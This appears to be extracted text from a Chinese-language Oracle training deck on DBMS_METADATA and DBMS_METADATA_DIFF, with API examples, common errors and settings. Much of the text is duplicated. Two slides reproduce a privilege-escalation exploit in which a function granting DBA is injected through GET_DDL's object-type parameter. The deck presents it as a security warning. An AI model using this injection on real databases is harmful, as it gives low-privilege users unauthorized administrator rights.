object_type IN VARCHAR2,
name1 IN VARCHAR2,
name2 IN VARCHAR2,
schema1 IN VARCHAR2 DEFAULT NULL,
schema2 IN VARCHAR2 DEFAULT NULL,
network_link1 IN VARCHAR2 DEFAULT NULL,
network_link2 IN VARCHAR2 DEFAULT NULL)
RETURN CLOB;
DBMS_METADATA_DIFF.COMPARE_ALTER(
object_type IN VARCHAR2,
name1 IN VARCHAR2,
name2 IN VARCHAR2,
schema1 IN VARCHAR2 DEFAULT NULL,
schema2 IN VARCHAR2 DEFAULT NULL,
network_link1 IN VARCHAR2 DEFAULT NULL,
network_link2 IN VARCHAR2 DEFAULT NULL)
RETURN CLOB;
71/92
DBMS_METADATA_DIFF包
♠ DBMS_METADATA_DIFF包:
♠ 世界天天变,Oracle产品天天变;让我们天天学!
♠ 这个包用于对变化进行管理(因为表数据总是变):
--
BEGIN
SELECT dbms_metadata_diff.compare_alter('TABLE',
'SERVERS', 'SERV_INST', USER, USER)
INTO c
FROM dual;
dbms_output.put_line(c);
dbms_advisor.create_file(c, 'CTEMP', 'compalter.txt');
END;
/
--
BEGIN
SELECT dbms_metadata_diff.compare_alter('TABLE',
'SERVERS', 'SERV_INST', USER, USER)
INTO c
FROM dual;
dbms_output.put_line(c);
dbms_advisor.create_file(c, 'CTEMP', 'compalter.txt');
END;
/
72/92
DBMS_METADATA_DIFF包
♠ DBMS_METADATA_DIFF包:
♠ COMPARE_ALTER_XML用于 : --生成去差异化的脚本(XML格式)
DBMS_METADATA_DIFF.COMPARE_ALTER_XML(
object_type IN VARCHAR2,
name1 IN VARCHAR2,
name2 IN VARCHAR2,
schema1 IN VARCHAR2 DEFAULT NULL,
schema2 IN VARCHAR2 DEFAULT NULL,
network_link1 IN VARCHAR2 DEFAULT NULL,
network_link2 IN VARCHAR2 DEFAULT NULL)
RETURN CLOB;
--生成去差异化的脚本(XML格式)
DBMS_METADATA_DIFF.COMPARE_ALTER_XML(
object_type IN VARCHAR2,
name1 IN VARCHAR2,
name2 IN VARCHAR2,
schema1 IN VARCHAR2 DEFAULT NULL,
schema2 IN VARCHAR2 DEFAULT NULL,
network_link1 IN VARCHAR2 DEFAULT NULL,
network_link2 IN VARCHAR2 DEFAULT NULL)
RETURN CLOB;
73/92
内容
♠ DBMS_METADATA的版本差异
♠ DBMS_METADATA.GET_DDL
♠ DBMS_METADATA包特殊功能
♠ DBMS_METADATA- 11g新功能
♠ DBMS_METADATA_DIFF包
♠ DBMS_METADATA包与安全问题
♠ 用DBMS_METADATA包API
♠ DBMS_METADATA包使用常见问题
74/92
DBMS_METADATA包
♠ 用DBMS_METADATA包需要注意安全: ♠ 下面是Pete Finnigan给出的样例(1):
SQL> connect scott/tiger
Connected.
SQL> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
---------------- ------------------------------ --- --- ---
SCOTT CONNECT NO YES NO
SCOTT RESOURCE NO YES NO
SQL> create or replace function scott.hack return varchar2
2 authid current_user is
3 pragma autonomous_transaction;
4 begin
5 execute immediate 'grant dba to scott';
6 return '';
7 end;
8 /
Function created.
SQL> connect scott/tiger
Connected.
SQL> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
---------------- ------------------------------ --- --- ---
SCOTT CONNECT NO YES NO
SCOTT RESOURCE NO YES NO
SQL> create or replace function scott.hack return varchar2
2 authid current_user is
3 pragma autonomous_transaction;
4 begin
5 execute immediate 'grant dba to scott';
6 return '';
7 end;
8 /
Function created.
75/92
DBMS_METADATA包
♠ 用DBMS_METADATA包需要注意安全:
♠ 下面是Pete Finnigan给出的样例(2): SQL> select sys.dbms_metadata.get_ddl('''||scott.hack()||''','')
from dual;
ERROR:
ORA-31600: invalid input value '||scott.hack()||' for parameter
OBJECT_TYPE in function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1
no rows selected
SQL> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
-------------- ------------------------------ --- --- ---
SCOTT CONNECT NO YES NO
SCOTT DBA NO YES NO
SCOTT RESOURCE NO YES NO
SQL> select sys.dbms_metadata.get_ddl('''||scott.hack()||''','')
from dual;
ERROR:
ORA-31600: invalid input value '||scott.hack()||' for parameter
OBJECT_TYPE in function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1
no rows selected
SQL> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
-------------- ------------------------------ --- --- ---
SCOTT CONNECT NO YES NO
SCOTT DBA NO YES NO
SCOTT RESOURCE NO YES NO
76/92
内容
♠ DBMS_METADATA的版本差异
♠ DBMS_METADATA.GET_DDL
♠ DBMS_METADATA包特殊功能
♠ DBMS_METADATA- 11g新功能
♠ DBMS_METADATA_DIFF包
♠ DBMS_METADATA包与安全问题
♠ 用DBMS_METADATA包API
♠ DBMS_METADATA包使用常见问题
77/92
DBMS_METADATA包-API
♠ 为什么使用 API:
♠ 可能在开发应用代码时需要从数据字典抽取元数据
♠ 需要操纵元数据(增加列,修改列等)
♠ 转换元成为DDL以便在相同数据库或其他数据库重建这些对象
♠ 保持代码的最新版本以便方便技术支持与维护
♠ 使用 DBMS_METADATA API:
♠ 返回对象元数据
♠ 重建一个返回的对象
♠ 返回不同对象类型
78/92
DBMS_METADATA API
♠ 样例1:以函数用DBMS_METADATA: ♠ 1.创建 函数-可返回 EMP 表的元数据: SQL> connect scott/zhaoabc@orcl
已连接。
SQL> CREATE OR REPLACE FUNCTION get_table_md RETURN CLOB IS
2 -- 定义变量
3 h NUMBER; --handle returned by OPEN
4 th NUMBER; -- handle returned by ADD_TRANSFORM
5 doc CLOB;
6 BEGIN
7
8 -- 指定对象类型.
9 h := DBMS_METADATA.OPEN('TABLE');
10
11 -- 指定过滤对象.
12 DBMS_METADATA.SET_FILTER(h,'SCHEMA','SCOTT');
13 DBMS_METADATA.SET_FILTER(h,'NAME','EMP');
14
15 -- 请求将元数据转换为DDL.
16 th := DBMS_METADATA.ADD_TRANSFORM(h,'DDL');
17
18 -- 取所指定的对象.
19 doc := DBMS_METADATA.FETCH_CLOB(h);
20
21 -- 释放资源.
22 DBMS_METADATA.CLOSE(h);
23 RETURN doc;
24 END;
25 /
函数已创建。
SQL> connect scott/zhaoabc@orcl
已连接。
SQL> CREATE OR REPLACE FUNCTION get_table_md RETURN CLOB IS
2 -- 定义变量
3 h NUMBER; --handle returned by OPEN
4 th NUMBER; -- handle returned by ADD_TRANSFORM
5 doc CLOB;
6 BEGIN
7
8 -- 指定对象类型.
9 h := DBMS_METADATA.OPEN('TABLE');
10
11 -- 指定过滤对象.
12 DBMS_METADATA.SET_FILTER(h,'SCHEMA','SCOTT');
13 DBMS_METADATA.SET_FILTER(h,'NAME','EMP');
14
15 -- 请求将元数据转换为DDL.
16 th := DBMS_METADATA.ADD_TRANSFORM(h,'DDL');
17
18 -- 取所指定的对象.
19 doc := DBMS_METADATA.FETCH_CLOB(h);
20
21 -- 释放资源.
22 DBMS_METADATA.CLOSE(h);
23 RETURN doc;
24 END;
25 /
函数已创建。
79/92
DBMS_METADATA API
♠ 样例1:以函数用DBMS_METADATA: ♠ 2.运行 函数-可返回 EMP 表的元数据:
SQL> SET PAGESIZE 0
SQL> SET LONG 1000000
SQL> SELECT get_table_md FROM dual;
CREATE TABLE "SCOTT"."EMP"
( "EMPNO" NUMBER(4,0),
"ENAME" VARCHAR2(10),
"JOB" VARCHAR2(9),
"MGR" NUMBER(4,0),
"HIREDATE" DATE,
"SAL" NUMBER(7,2),
"COMM" NUMBER(7,2),
"DEPTNO" NUMBER(2,0),
CONSTRAINT "PK_EMP" PRIMARY KEY ("EMPNO")
USING INDEX PCTFREE 10 INITRANS 2 MAXTRANS 255 COMPUTE STATISTICS
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT)
TABLESPACE "USERS" ENABLE,
CONSTRAINT "FK_DEPTNO" FOREIGN KEY ("DEPTNO")
REFERENCES "SCOTT"."DEPT" ("DEPTNO") ENABLE
) PCTFREE 10 PCTUSED 40 INITRANS 1 MAXTRANS 255 NOCOMPRESS LOGGING
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT)
TABLESPACE "USERS"
SQL> SET PAGESIZE 0
SQL> SET LONG 1000000
SQL> SELECT get_table_md FROM dual;
CREATE TABLE "SCOTT"."EMP"
( "EMPNO" NUMBER(4,0),
"ENAME" VARCHAR2(10),
"JOB" VARCHAR2(9),
"MGR" NUMBER(4,0),
"HIREDATE" DATE,
"SAL" NUMBER(7,2),
"COMM" NUMBER(7,2),
"DEPTNO" NUMBER(2,0),
CONSTRAINT "PK_EMP" PRIMARY KEY ("EMPNO")
USING INDEX PCTFREE 10 INITRANS 2 MAXTRANS 255 COMPUTE STATISTICS
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT)
TABLESPACE "USERS" ENABLE,
CONSTRAINT "FK_DEPTNO" FOREIGN KEY ("DEPTNO")
REFERENCES "SCOTT"."DEPT" ("DEPTNO") ENABLE
) PCTFREE 10 PCTUSED 40 INITRANS 1 MAXTRANS 255 NOCOMPRESS LOGGING
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT)
TABLESPACE "USERS"
80/92
DBMS_METADATA API
♠ 样例2:以过程用DBMS_METADATA: ♠ 1.创建存储过程:
SQL> CREATE TABLE my_metadata (md clob);
表已创建。
SQL> CREATE OR REPLACE PROCEDURE get_Scott_md IS
2 -- Define local variables
3 h NUMBER; -- handle returned by 'OPEN'
4 th NUMBER; -- handle returned by 'ADD_TRANSFORM'
5 doc CLOB; -- metadata is returned in a CLOB
6 BEGIN
7
8 -- 指定对象类型.
9 h := DBMS_METADATA.OPEN('TABLE');
10
11 -- 指定过滤的模式.
12 DBMS_METADATA.SET_FILTER(h,'SCHEMA','SCOTT');
13
14 -- 指定将元数据转换为DDL.
15 th := DBMS_METADATA.ADD_TRANSFORM(h,'DDL');
16
SQL> CREATE TABLE my_metadata (md clob);
表已创建。
SQL> CREATE OR REPLACE PROCEDURE get_Scott_md IS
2 -- Define local variables
3 h NUMBER; -- handle returned by 'OPEN'
4 th NUMBER; -- handle returned by 'ADD_TRANSFORM'
5 doc CLOB; -- metadata is returned in a CLOB
6 BEGIN
7
8 -- 指定对象类型.
9 h := DBMS_METADATA.OPEN('TABLE');
10
11 -- 指定过滤的模式.
12 DBMS_METADATA.SET_FILTER(h,'SCHEMA','SCOTT');
13
14 -- 指定将元数据转换为DDL.
15 th := DBMS_METADATA.ADD_TRANSFORM(h,'DDL');
16
17 -- 取对象信息.
18 LOOP
19 doc := DBMS_METADATA.FETCH_CLOB(h);
20
21 -- 当无对象时, FETCH_CLOB 返回 NULL.
22 EXIT WHEN doc IS NULL;
23
24 -- 存储元数据到一个表中.
25 INSERT INTO my_metadata(md) VALUES (doc);
26 COMMIT;
27 END LOOP;
28
29 -- 释放资源.
30 DBMS_METADATA.CLOSE(h);
31 END;
32 /
过程已创建。
17 -- 取对象信息.
18 LOOP
19 doc := DBMS_METADATA.FETCH_CLOB(h);
20
21 -- 当无对象时, FETCH_CLOB 返回 NULL.
22 EXIT WHEN doc IS NULL;
23
24 -- 存储元数据到一个表中.
25 INSERT INTO my_metadata(md) VALUES (doc);
26 COMMIT;
27 END LOOP;
28
29 -- 释放资源.
30 DBMS_METADATA.CLOSE(h);
31 END;
32 /
过程已创建。
81/92
DBMS_METADATA API
♠ 样例2:以过程用DBMS_METADATA:
♠ 2.运行存储过程:
SQL> EXECUTE get_Scott_md;
PL/SQL 过程已成功完成。
SQL> SET LONG 9000000
SQL> SET PAGES 0
SQL> SELECT * FROM my_metadata;
CREATE TABLE "SCOTT"."MY_METADATA"
( "MD" CLOB
) PCTFREE 10 PCTUSED 40 INITRANS 1 MAXTRANS 255 NOCOMPRESS LOGGING
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT)
TABLESPACE "USERS"
…
SQL> EXECUTE get_Scott_md;
PL/SQL 过程已成功完成。
SQL> SET LONG 9000000
SQL> SET PAGES 0
SQL> SELECT * FROM my_metadata;
CREATE TABLE "SCOTT"."MY_METADATA"
( "MD" CLOB
) PCTFREE 10 PCTUSED 40 INITRANS 1 MAXTRANS 255 NOCOMPRESS LOGGING
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT)
TABLESPACE "USERS"
…
82/92
DBMS_METADATA_DIFF API
♠ 样例1:以函数用DBMS_METADATA_DIFF:
♠ 1.创建具有差异的样例表:
SQL> CREATE TABLE TAB1
2 ( "EMPNO" NUMBER(4,0),
3 "ENAME" VARCHAR2(10),
4 "JOB" VARCHAR2(9),
5 "DEPTNO" NUMBER(2,0)
6 ) ;
Table created.
SQL> CREATE TABLE TAB2
2 ( "EMPNO" NUMBER(4,0) PRIMARY KEY ENABLE,
3 "ENAME" VARCHAR2(20),
4 "MGR" NUMBER(4,0),
5 "DEPTNO" NUMBER(2,0)
6 ) ;
Table created.
SQL> CREATE TABLE TAB1
2 ( "EMPNO" NUMBER(4,0),
3 "ENAME" VARCHAR2(10),
4 "JOB" VARCHAR2(9),
5 "DEPTNO" NUMBER(2,0)
6 ) ;
Table created.
SQL> CREATE TABLE TAB2
2 ( "EMPNO" NUMBER(4,0) PRIMARY KEY ENABLE,
3 "ENAME" VARCHAR2(20),
4 "MGR" NUMBER(4,0),
5 "DEPTNO" NUMBER(2,0)
6 ) ;
Table created.
83/92
DBMS_METADATA_DIFF API
♠ 样例1:以函数用DBMS_METADATA_DIFF:
♠ 2.创建函数获取表的SXML信息:
SQL> CREATE OR REPLACE FUNCTION get_table_sxml(name IN VARCHAR2) RETURN CLOB IS
2 open_handle NUMBER;
3 transform_handle NUMBER;
4 doc CLOB;
5 BEGIN
6 open_handle := DBMS_METADATA.OPEN('TABLE');
7 DBMS_METADATA.SET_FILTER(open_handle,'NAME',name);
8 --
9 -- Use the 'SXML' transform to convert XML to SXML
10 --
11 transform_handle := DBMS_METADATA.ADD_TRANSFORM(open_handle,'SXML');
12 --
13 -- Use this transform parameter to suppress physical properties
14 --
15 DBMS_METADATA.SET_TRANSFORM_PARAM(transform_handle,'PHYSICAL_PROPERTIES',
16 FALSE);
17 doc := DBMS_METADATA.FETCH_CLOB(open_handle);
18 DBMS_METADATA.CLOSE(open_handle);
19 RETURN doc;
20 END;
21 /
Function created.
SQL> CREATE OR REPLACE FUNCTION get_table_sxml(name IN VARCHAR2) RETURN CLOB IS
2 open_handle NUMBER;
3 transform_handle NUMBER;
4 doc CLOB;
5 BEGIN
6 open_handle := DBMS_METADATA.OPEN('TABLE');
7 DBMS_METADATA.SET_FILTER(open_handle,'NAME',name);
8 --
9 -- Use the 'SXML' transform to convert XML to SXML
10 --
11 transform_handle := DBMS_METADATA.ADD_TRANSFORM(open_handle,'SXML');
12 --
13 -- Use this transform parameter to suppress physical properties
14 --
15 DBMS_METADATA.SET_TRANSFORM_PARAM(transform_handle,'PHYSICAL_PROPERTIES',
16 FALSE);
17 doc := DBMS_METADATA.FETCH_CLOB(open_handle);
18 DBMS_METADATA.CLOSE(open_handle);
19 RETURN doc;
20 END;
21 /
Function created.
84/92
DBMS_METADATA_DIFF API
♠ 样例1:以函数用DBMS_METADATA_DIFF: ♠ 3.运行函数获取表的SXML信息:
SQL> SELECT get_table_sxml('TAB1') FROM dual; <TABLE xmlns="http://xmlns.oracle.com/ku" version="1.0">
<SCHEMA>SCOTT</SCHEMA>
<NAME>TAB1</NAME>
<RELATIONAL_TABLE>
<COL_LIST>
<COL_LIST_ITEM>
<NAME>EMPNO</NAME>
<DATATYPE>NUMBER</DATATYPE>
<PRECISION>4</PRECISION>
<SCALE>0</SCALE>
</COL_LIST_ITEM>
<COL_LIST_ITEM>
<NAME>ENAME</NAME>
<DATATYPE>VARCHAR2</DATATYPE>
<LENGTH>10</LENGTH>
</COL_LIST_ITEM>
<COL_LIST_ITEM>
<NAME>JOB</NAME>
<DATATYPE>VARCHAR2</DATATYPE>
<LENGTH>9</LENGTH>
</COL_LIST_ITEM>
<COL_LIST_ITEM>
<NAME>DEPTNO</NAME>
<DATATYPE>NUMBER</DATATYPE>
<PRECISION>2</PRECISION>
<SCALE>0</SCALE>
</COL_LIST_ITEM>
</COL_LIST>
</RELATIONAL_TABLE>
</TABLE>
1 row selected.
SQL> SELECT get_table_sxml('TAB1') FROM dual; <TABLE xmlns="http://xmlns.oracle.com/ku" version="1.0">
<SCHEMA>SCOTT</SCHEMA>
<NAME>TAB1</NAME>
<RELATIONAL_TABLE>
<COL_LIST>
<COL_LIST_ITEM>
<NAME>EMPNO</NAME>
<DATATYPE>NUMBER</DATATYPE>
<PRECISION>4</PRECISION>
<SCALE>0</SCALE>
</COL_LIST_ITEM>
<COL_LIST_ITEM>
<NAME>ENAME</NAME>
<DATATYPE>VARCHAR2</DATATYPE>
<LENGTH>10</LENGTH>
</COL_LIST_ITEM>
<COL_LIST_ITEM>
<NAME>JOB</NAME>
<DATATYPE>VARCHAR2</DATATYPE>
<LENGTH>9</LENGTH>
</COL_LIST_ITEM>
<COL_LIST_ITEM>
<NAME>DEPTNO</NAME>
<DATATYPE>NUMBER</DATATYPE>
<PRECISION>2</PRECISION>
<SCALE>0</SCALE>
</COL_LIST_ITEM>
</COL_LIST>
</RELATIONAL_TABLE>
</TABLE>
1 row selected.
85/92
DBMS_METADATA_DIFF API
♠ 样例1:以函数用DBMS_METADATA_DIFF: ♠ 3.运行函数获取表的SXML信息: SQL> SELECT get_table_sxml('TAB2') FROM dual;
<TABLE xmlns="http://xmlns.oracle.com/ku"
version="1.0">
<SCHEMA>SCOTT</SCHEMA>
<NAME>TAB2</NAME>
<RELATIONAL_TABLE>
<COL_LIST>
<COL_LIST_ITEM>
<NAME>EMPNO</NAME>
<DATATYPE>NUMBER</DATATYPE>
<PRECISION>4</PRECISION>
<SCALE>0</SCALE>
</COL_LIST_ITEM>
<COL_LIST_ITEM>
<NAME>ENAME</NAME>
<DATATYPE>VARCHAR2</DATATYPE>
<LENGTH>20</LENGTH>
</COL_LIST_ITEM>
<COL_LIST_ITEM>
<NAME>MGR</NAME>
<DATATYPE>NUMBER</DATATYPE>
<PRECISION>4</PRECISION>
<SCALE>0</SCALE>
SQL> SELECT get_table_sxml('TAB2') FROM dual;
<TABLE xmlns="http://xmlns.oracle.com/ku"
version="1.0">
<SCHEMA>SCOTT</SCHEMA>
<NAME>TAB2</NAME>
<RELATIONAL_TABLE>
<COL_LIST>
<COL_LIST_ITEM>
<NAME>EMPNO</NAME>
<DATATYPE>NUMBER</DATATYPE>
<PRECISION>4</PRECISION>
<SCALE>0</SCALE>
</COL_LIST_ITEM>
<COL_LIST_ITEM>
<NAME>ENAME</NAME>
<DATATYPE>VARCHAR2</DATATYPE>
<LENGTH>20</LENGTH>
</COL_LIST_ITEM>
<COL_LIST_ITEM>
<NAME>MGR</NAME>
<DATATYPE>NUMBER</DATATYPE>
<PRECISION>4</PRECISION>
<SCALE>0</SCALE>
</COL_LIST_ITEM>
<COL_LIST_ITEM>
<NAME>DEPTNO</NAME>
<DATATYPE>NUMBER</DATATYPE>
<PRECISION>2</PRECISION>
<SCALE>0</SCALE>
</COL_LIST_ITEM>
</COL_LIST>
<PRIMARY_KEY_CONSTRAINT_LIST>
<PRIMARY_KEY_CONSTRAINT_LIST_ITEM>
<COL_LIST>
<COL_LIST_ITEM>
<NAME>EMPNO</NAME>
</COL_LIST_ITEM>
</COL_LIST>
</PRIMARY_KEY_CONSTRAINT_LIST_ITEM>
</PRIMARY_KEY_CONSTRAINT_LIST>
</RELATIONAL_TABLE>
</TABLE>
1 row selected.
</COL_LIST_ITEM>
<COL_LIST_ITEM>
<NAME>DEPTNO</NAME>
<DATATYPE>NUMBER</DATATYPE>
<PRECISION>2</PRECISION>
<SCALE>0</SCALE>
</COL_LIST_ITEM>
</COL_LIST>
<PRIMARY_KEY_CONSTRAINT_LIST>
<PRIMARY_KEY_CONSTRAINT_LIST_ITEM>
<COL_LIST>
<COL_LIST_ITEM>
<NAME>EMPNO</NAME>
</COL_LIST_ITEM>
</COL_LIST>
</PRIMARY_KEY_CONSTRAINT_LIST_ITEM>
</PRIMARY_KEY_CONSTRAINT_LIST>
</RELATIONAL_TABLE>
</TABLE>
1 row selected.
86/92
小结
♠ DBMS_METADATA主要用途 :
♠在SQL>下使用
♠开发人员与应用迁移人员及DBA都应该掌握
♠需要配置SQL>下的环境变量
♠ DBMS_METADATA-API :
♠ DBMS_METADATA可在PL/SQL下使用
♠也可在目前流行的4GL使用
87/92
小结
♠返回的结果脚本可用于程序设计:
♠模式修订的源代码
♠修改模式的拷贝
♠删除、修改、重建对象的应用
♠ DBMS_METADATA不足 :
♠ DBMS_METADATA可返回令人费解的DDL
♠存在某些安全问题
88/92
内容
♠ DBMS_METADATA的版本差异
♠ DBMS_METADATA.GET_DDL
♠ DBMS_METADATA包特殊功能
♠ DBMS_METADATA- 11g新功能
♠ DBMS_METADATA_DIFF包
♠ DBMS_METADATA包与安全问题
♠ 用DBMS_METADATA包API
♠ DBMS_METADATA包使用常见问题
89/92
使用常见错误样例
♠ DBMS_METADATA.get_ddl没有设置SQL环境变量
♠ 需要注意下面设置 :
LINESIZE 显示行宽(字符数量)
PAGESIZE 0 每页显示行书
FEEDBACK OFF 反馈行数量的不要
LONG 100000 CLOB 可容纳
TRIMSPOOL ON 去除行后面的空字符
COLUMN WORD_WRAP 确保断点不在字的中间(不将单词拆开)
LINESIZE 显示行宽(字符数量)
PAGESIZE 0 每页显示行书
FEEDBACK OFF 反馈行数量的不要
LONG 100000 CLOB 可容纳
TRIMSPOOL ON 去除行后面的空字符
COLUMN WORD_WRAP 确保断点不在字的中间(不将单词拆开)
90/92
使用常见错误样例
♠ DBMS_METADATA.get_ddl
♠ 注意语法-大小写 : Correct
dbms_metadata.get_ddl('VIEW','C_VIEW','OE')
Error
dbms_metadata.get_ddl('view','C_VIEW','OE')
ERROR:
ORA-31600: invalid input value view for parameter OBJECT_TYPE in function
GET_DDL
ORA-06512: at "SYS.DBMS_METADATA", line 2681
ORA-06512: at "SYS.DBMS_METADATA", line 2732
ORA-06512: at "SYS.DBMS_METADATA", line 4333
ORA-06512: at line 1
Correct
dbms_metadata.get_ddl('VIEW','C_VIEW','OE')
Error
dbms_metadata.get_ddl('view','C_VIEW','OE')
ERROR:
ORA-31600: invalid input value view for parameter OBJECT_TYPE in function
GET_DDL
ORA-06512: at "SYS.DBMS_METADATA", line 2681
ORA-06512: at "SYS.DBMS_METADATA", line 2732
ORA-06512: at "SYS.DBMS_METADATA", line 4333
ORA-06512: at line 1
91/92
使用常见错误样例
♠ DBMS_METADATA.get_ddl
♠ 注意语法-参数位置 : Correct
dbms_metadata.get_ddl('VIEW','C_VIEW','OE')
Error
dbms_metadata.get_ddl(object_type=>'VIEW',name=>'C_VIEW',schema=>'OE')
*
ERROR at line 2:
ORA-00907: missing right parenthesis
Correct
dbms_metadata.get_ddl('VIEW','C_VIEW','OE')
Error
dbms_metadata.get_ddl(object_type=>'VIEW',name=>'C_VIEW',schema=>'OE')
*
ERROR at line 2:
ORA-00907: missing right parenthesis
92/92
使用常见错误样例
♠ DBMS_METADATA.get_ddl
♠ 安全问题-授权使用? :
Connect sys as sysdba SQL> select * from dba_tab_privs 2* where table_name = 'DBMS_METADATA' SQL> / GRANTEE OWNER TABLE_NAME GRANTOR PRIVILEGE GRA HIE ---------- --------- ---------------- ------------ ------------ --- --- PUBLIC SYS DBMS_METADATA SYS EXECUTE NO NO
Connect sys as sysdba SQL> select * from dba_tab_privs 2* where table_name = 'DBMS_METADATA' SQL> / GRANTEE OWNER TABLE_NAME GRANTOR PRIVILEGE GRA HIE ---------- --------- ---------------- ------------ ------------ --- --- PUBLIC SYS DBMS_METADATA SYS EXECUTE NO NO
93/92
使用常见错误样例
♠ DBMS_METADATA.get_ddl
♠ 安全问题-没有权限的用户?
♠ 授予SELECT_CATALOG_ROLE权限的用户 :
GRANT select, insert, update, delete, alter ON locations TO oe;
connect oe/demo;
SELECT DBMS_METADATA.GET_DDL('TABLE', 'LOCATIONS', 'HR') ddl_call
FROM dual;
ERROR:
ORA-31603: object "LOCATIONS" of type TABLE not found in schema "HR"
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA", line 2805
ORA-06512: at "SYS.DBMS_METADATA", line 4333
ORA-06512: at line 1
GRANT select, insert, update, delete, alter ON locations TO oe;
connect oe/demo;
SELECT DBMS_METADATA.GET_DDL('TABLE', 'LOCATIONS', 'HR') ddl_call
FROM dual;
ERROR:
ORA-31603: object "LOCATIONS" of type TABLE not found in schema "HR"
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA", line 2805
ORA-06512: at "SYS.DBMS_METADATA", line 4333
ORA-06512: at line 1
94/92
使用常见错误样例
♠ DBMS_METADATA.get_ddl
♠ 在SQL*Plus 下使用的设置 :
LINESIZE Wide enough to make the output readable. I usually set it
to 125.
PAGESIZE 0 to suppress all heading information
FEEDBACK OFF to suppress rows information
LONG At least 100000 for the CLOB output
TRIMSPOOL ON to trim any following spaces
COLUMN WORD_WRAP to insure breaks are not in the middle of words.
This also suppresses some of the formatting used by
DBMS_METADATA.
LINESIZE Wide enough to make the output readable. I usually set it
to 125.
PAGESIZE 0 to suppress all heading information
FEEDBACK OFF to suppress rows information
LONG At least 100000 for the CLOB output
TRIMSPOOL ON to trim any following spaces
COLUMN WORD_WRAP to insure breaks are not in the middle of words.
This also suppresses some of the formatting used by
DBMS_METADATA.
95/92
使用常见错误样例
♠ DBMS_METADATA.get_ddl
♠ 设置 :
SET LINESIZE 132 PAGESIZE 0 FEEDBACK off VERIFY off TRIMSPOOL on LONG 1000000
COLUMN ddl_string FORMAT A100 WORD_WRAP
EXEC
DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM,'
STORAGE',false);
EXEC
DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM,'
PRETTY',true);
EXEC
DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM,'
SQLTERMINATOR',true);
EXEC
DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM,'
REF_CONSTRAINTS',false);
SET LINESIZE 132 PAGESIZE 0 FEEDBACK off VERIFY off TRIMSPOOL on LONG 1000000
COLUMN ddl_string FORMAT A100 WORD_WRAP
EXEC
DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM,'
STORAGE',false);
EXEC
DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM,'
PRETTY',true);
EXEC
DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM,'
SQLTERMINATOR',true);
EXEC
DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM,'
REF_CONSTRAINTS',false);
96/92
参考资源
♠ Oracle 原厂: ♠ Oracle® Database PL/SQL Packages and Types Reference
11g Release 2 (11.2) E10577-04
♠ Oracle® Database Utilities 11g Release 2 (11.2) Part Number E10701-02
♠ Oracle® Database PL/SQL Packages and Types Reference 11g Release 2 (11.2)E10577-04